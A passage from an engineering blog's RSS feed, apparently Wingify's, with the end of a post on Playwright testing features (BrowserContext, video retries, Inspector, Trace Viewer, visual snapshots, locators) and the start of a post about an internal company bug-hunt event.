0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;&lt;strong&gt;Other things we liked&lt;/strong&gt;&lt;/h2&gt; &lt;h3 id=&quot;browsercontext-concept&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#browsercontext-concept&quot; aria-label=&quot;browsercontext concept permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;&lt;strong&gt;BrowserContext concept&lt;/strong&gt;&lt;/h3&gt; &lt;p&gt;In Puppeteer and Protractor (WebDriverJS wrapper) you have Browsers and Pages. Each Page in a Browser has a common state across Browsers. So creating separate tests with one Browser (to avoid the inefficiency of creating one Browser for each test) requires special code to delete all cookies and local storage between tests. Playwright solves this problem with the &lt;a href=&quot;https://playwright.dev/docs/browser-contexts&quot;&gt;BrowserContext&lt;/a&gt; object, a new incognito window where its pages are created: each test can use the same browser but a different BrowserContext.&lt;/p&gt; &lt;h3 id=&quot;retry-with-video&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#retry-with-video&quot; aria-label=&quot;retry with video permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;&lt;strong&gt;Retry with video&lt;/strong&gt;&lt;/h3&gt; &lt;p&gt;Another feature I like about Playwright Test is the ability to retry with video option.&lt;br&gt; You specify the following in your playwright.config.js file:&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;tsx&quot;&gt;&lt;pre class=&quot;language-tsx&quot;&gt;&lt;code class=&quot;language-tsx&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;module&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;exports &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; use&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; headless&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; screenshot&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;only-on-failure&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; video&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;retry-with-video&apos;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; retries&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;When the video option is paired with the retry option, Playwright will re-run the test while shooting a video of the re-run. If the test fails on the second attempt, the video will be saved in the test results (alongside the screenshot if you config it to capture screenshots also). It&apos;s a lightweight webm video that&apos;s easy to capture during CI and share.&lt;/p&gt; &lt;h3 id=&quot;debugging-with-playwright-inspector-tool&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#debugging-with-playwright-inspector-tool&quot; aria-label=&quot;debugging with playwright inspector tool permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;&lt;strong&gt;Debugging with Playwright Inspector tool&lt;/strong&gt;&lt;/h3&gt; &lt;p&gt;Next, let me demo the &lt;a href=&quot;https://playwright.dev/docs/debug#playwright-inspector&quot;&gt;Inspector&lt;/a&gt; tool by running the test using the following command.&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;tsx&quot;&gt;&lt;pre class=&quot;language-tsx&quot;&gt;&lt;code class=&quot;language-tsx&quot;&gt;&lt;span class=&quot;token constant&quot;&gt;PWDEBUG&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt; npx playwright test&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;div style=&quot;text-align:center; margin: 10px;&quot;&gt; &lt;img src=&quot;/images/2022/04/debugger.png&quot; style=&quot;box-shadow: 2px 2px 10px 1px #aaa&quot;&gt; &lt;/div&gt; &lt;p&gt;This launches the inspector tool beside the browser window and awaits my click on the Resume button to proceed to the next phase. We may use the Inspector tool to debug each line of code and check how it works in real-time on the browser.&lt;/p&gt; &lt;p&gt;The &apos;Explore&apos; button allows us to hover over any web element on the web page, and clicking on any element on the page displays the element locator, making it easy to locate element pathways. The location for the highlighted element is shown underneath it.&lt;/p&gt; &lt;h3 id=&quot;test-trace-viewer&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#test-trace-viewer&quot; aria-label=&quot;test trace viewer permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;&lt;strong&gt;Test Trace Viewer&lt;/strong&gt;&lt;/h3&gt; &lt;p&gt;Playwright &lt;a href=&quot;https://playwright.dev/docs/trace-viewer&quot;&gt;Trace Viewer&lt;/a&gt; is a GUI tool that allows us to view recorded Playwright traces after the script ran.&lt;br&gt; In the test configuration file, set the &lt;code class=&quot;language-text&quot;&gt;trace:&amp;#39;retain-on-failure&amp;#39;&lt;/code&gt;  option. This will generate a trace.zip file for each test, but it will be removed from successful test runs. &lt;/p&gt; &lt;p&gt;You can open the saved trace using :&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;tsx&quot;&gt;&lt;pre class=&quot;language-tsx&quot;&gt;&lt;code class=&quot;language-tsx&quot;&gt;npx playwright show&lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt;trace trace&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;zip&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;div style=&quot;text-align:center; margin: 10px;&quot;&gt; &lt;img src=&quot;/images/2022/04/trace_viewer.gif&quot; style=&quot;box-shadow: 2px 2px 10px 1px #aaa&quot;&gt; &lt;/div&gt; &lt;h3 id=&quot;parallel-testing-in-the-same-file&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#parallel-testing-in-the-same-file&quot; aria-label=&quot;parallel testing in the same file permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;&lt;strong&gt;Parallel Testing in the same file&lt;/strong&gt;&lt;/h3&gt; &lt;p&gt;Parallel testing is another useful aspect of Playwright. Unlike other tools, it allows you to simultaneously test multiple tests within a single file. &lt;/p&gt; &lt;p&gt;By default, test files are executed in parallel. To deactivate parallelism, we must restrict the number of &lt;a href=&quot;https://playwright.dev/docs/test-parallel#disable-parallelism&quot;&gt;workers to one&lt;/a&gt;. Also, by default, tests in a single file are executed sequentially in the same worker process. We may use &lt;code class=&quot;language-text&quot;&gt;test.describe.parallel(title, callback)&lt;/code&gt; to execute tests in a &lt;a href=&quot;https://playwright.dev/docs/api/class-test#test-describe-parallel&quot;&gt;single file in parallel&lt;/a&gt;.&lt;/p&gt; &lt;h3 id=&quot;screenshots-and-visual-comparisons&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#screenshots-and-visual-comparisons&quot; aria-label=&quot;screenshots and visual comparisons permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;&lt;strong&gt;Screenshots and visual comparisons&lt;/strong&gt;&lt;/h3&gt; &lt;p&gt;Playwright provides the ability to take snapshots during the test. It is even possible to compare your screenshots against pre-recorded ones.:&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;tsx&quot;&gt;&lt;pre class=&quot;language-tsx&quot;&gt;&lt;code class=&quot;language-tsx&quot;&gt;&lt;span class=&quot;token function&quot;&gt;expect&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;await&lt;/span&gt; page&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;screenshot&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;toMatchSnapshot&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;maxDiffPixelRatio&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0.001&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;The maxDiffPixelRatio is required. Because modern browsers take shortcuts when rendering, the outcome is not completely replicable. Subpixel differences are common – something you don&apos;t notice, but it helps the browser to render faster. As a result, allowing for a limited number of distinct pixels makes sense. In any case, anti-aliased pixels are ignored by default. Playwright makes use of the &lt;a href=&quot;https://github.com/mapbox/pixelmatch&quot;&gt;pixelmatch&lt;/a&gt; library. That is the node.js equivalent of &lt;a href=&quot;https://github.com/otto-de/jlineup&quot;&gt;jLineUp&lt;/a&gt;, but it is much smaller and a better fit in a node.js context.&lt;/p&gt; &lt;h3 id=&quot;locators&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#locators&quot; aria-label=&quot;locators permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;&lt;strong&gt;Locators&lt;/strong&gt;&lt;/h3&gt; &lt;p&gt;Locators are the central piece of Playwright’s auto-waiting and retry-ability. In a nutshell, locators represent a way to find element(s) on the page at any moment. &lt;/p&gt; &lt;p&gt;In this snippet, we captured the elements for &lt;a href=&quot;https://app.vwo.com/&quot;&gt;VWO&lt;/a&gt; login screen.&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;tsx&quot;&gt;&lt;pre class=&quot;language-tsx&quot;&gt;&lt;code class=&quot;language-tsx&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// Getter for locators&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;get&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;inputEmail&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;page&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;locator&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;[id=&quot;login-username&quot;]&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;get&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;inputPassword&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;page&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;locator&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;[id=&quot;login-password&quot;]&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;get&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;btnSignin&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;page&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;locator&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;[id=&quot;js-login-btn&quot;]&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;Notice that we are using ‘locator’ instead of the conventional element handle ($) to find web elements. The difference between the &lt;a href=&quot;https://playwright.dev/docs/api/class-locator&quot;&gt;Locator&lt;/a&gt; and &lt;a href=&quot;https://playwright.dev/docs/api/class-elementhandle&quot;&gt;ElementHandle&lt;/a&gt; is that the latter points to a particular element, while the Locator captures the logic of how to retrieve that element.&lt;/p&gt; &lt;h2 id=&quot;conclusion&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#conclusion&quot; aria-label=&quot;conclusion permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;&lt;strong&gt;Conclusion&lt;/strong&gt;&lt;/h2&gt; &lt;p&gt;Playwright is a great framework to explore, and it&apos;s just getting better as new capabilities are added in regular updates. It has evolved significantly since its inception and has a rising user base. I should clarify that this post merely scratched the surface of the Playwright iceberg. There are many more great aspects of Playwright that you should investigate, and I hope this post encourages you to do so.&lt;/p&gt; &lt;p&gt;According to the Playwright POC we did, it appears to be a suitable fit for our cases. Everything works well with Chrome. From Playwright&apos;s end, there were some challenges with our application&apos;s login screen. After submitting the form, it became stuck in the loading phase. A similar problem was already reported to the playwright team, and it was resolved within a short period of time. When writing end-to-end tests, one may face several difficulties. However, if you encounter problems, you may file a bug/feature request in &lt;a href=&quot;https://playwright.dev/community/welcome#github&quot;&gt;Git&lt;/a&gt; to get them addressed.&lt;/p&gt;</content:encoded><author>Pratik Sisodia</author></item><item><title><![CDATA[The Big Bug Hunt - Wingify]]></title><description><![CDATA[Quality is never an accident. It is always the result of intelligent effort. In line with the above quote, we organized a quality-focused…]]></description><link>https://engineering.wingify.com//posts/Big_Bug_Hunt/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/Big_Bug_Hunt/</guid><pubDate>Fri, 25 Mar 2022 00:00:00 GMT</pubDate><content:encoded>&lt;div style=&quot;text-align:center; margin: 10px; display: none&quot;&gt; &lt;img src=&quot;/images/2022/12/qaWingify.png&quot; style=&quot;box-shadow: 2px 2px 10px 1px #aaa&quot;&gt; &lt;/div&gt; &lt;p&gt;&lt;em&gt;Quality is never an accident. It is always the result of intelligent effort.&lt;/em&gt;&lt;/p&gt; &lt;p&gt;In line with the above quote, we organized a quality-focused event called: THE BIG BUG HUNT! Apart from the usual format of the ‘typical-Bugathon’, we added a few elements to make the event more interesting, engaging, and even more fruitful. &lt;/p&gt; &lt;h1 id=&quot;how-well-did-we-do&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#how-well-did-we-do&quot; aria-label=&quot;how well did we do permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;How well did we do:&lt;/h1&gt; &lt;ul&gt; &lt;li&gt;We had an astounding response with almost &lt;strong&gt;a third of the organization&lt;/strong&gt; participating and contributing towards finding bugs and suggesting improvements.&lt;/li&gt; &lt;li&gt;A total of &lt;strong&gt;170+ tickets&lt;/strong&gt; were logged.&lt;/li&gt; &lt;li&gt;High and Medium priority tickets among these were all picked up and fixed within the next two sprints.&lt;/li&gt; &lt;/ul&gt; &lt;h1 id=&quot;what-were-the-key-objectives-we-set-out-to-achieve&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#what-were-the-key-objectives-we-set-out-to-achieve&quot; aria-label=&quot;what were the key objectives we set out to achieve permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;What were the key objectives we set out to achieve?&lt;/h1&gt; &lt;ul&gt; &lt;li&gt;Get abundant participation so that we can find issues and suggestions from diverse viewpoints. We targeted people from different vertices, not just Engineering.&lt;/li&gt; &lt;li&gt;Focus all effort and energy on critical areas and on finding quality bugs. &lt;/li&gt; &lt;li&gt;Most importantly, speedy fixes to the logged bugs.&lt;/li&gt; &lt;/ul&gt; &lt;h1 id=&quot;how-did-we-manage-to-achieve-our-objectives&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#how-did-we-manage-to-achieve-our-objectives&quot; aria-label=&quot;how did we manage to achieve our objectives permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;How did we manage to achieve our objectives?&lt;/h1&gt; &lt;ol&gt; &lt;li&gt;&lt;strong&gt;The Bumper Participation:&lt;/strong&gt; We Worked towards building a buzz around the event. Though we are techies, we were mighty proud of our marketing skills for the BBH :) &lt;/li&gt; &lt;li&gt;Teasers were sent out in mails and on Slack channels.&lt;/li&gt; &lt;li&gt;Follow-up emails were sent, each revealing more about the event bit-by-bit. One email revealed the date, while the other revealed the format. We had one to explain the points system(yes, we gamified it), while another talked about the ideal format of the Jira tickets(Since not all participants usually use Jira). The image below(followed by a detailed format) is such an example.&lt;/li&gt; &lt;/ol&gt; &lt;div style=&quot;text-align:center; margin: 10px;&quot;&gt; &lt;img src=&quot;/images/2022/03/BBH_IMAGE1.png&quot; style=&quot;box-shadow: 2px 2px 10px 1px #aaa&quot;&gt; &lt;/div&gt; &lt;ul&gt; &lt;li&gt;Our CEO, Mr. Sparsh Gupta, was kind enough to not only endorse but also register and compete in the event, we were able to leverage this as an additional motivation to the entire team, across verticals, to participate. All through this phase, we emphasized the fact that this is not a tech event and everyone can participate and stand a chance to win the event.&lt;/li&gt; &lt;li&gt;&lt;strong&gt;Focus &amp;#x26; Quality:&lt;/strong&gt; The rules for scoring were such that people were rewarded for finding good quality, meaty issues. Each reported(valid) issue could score in the range of 1-3, 3 being the highest. On top of that, a bonus point of 0.5 could be additionally scored if the bug was of a specific product area(the most business-critical). The image below shows the various categories prizes should be won in. &lt;/li&gt; &lt;/ul&gt; &lt;div style=&quot;text-align:center; margin: 10px;&quot;&gt; &lt;img src=&quot;/images/2022/03/BBH_IMAGE2.png&quot; style=&quot;box-shadow: 2px 2px 10px 1px #aaa&quot;&gt; &lt;/div&gt; &lt;ol start=&quot;3&quot;&gt; 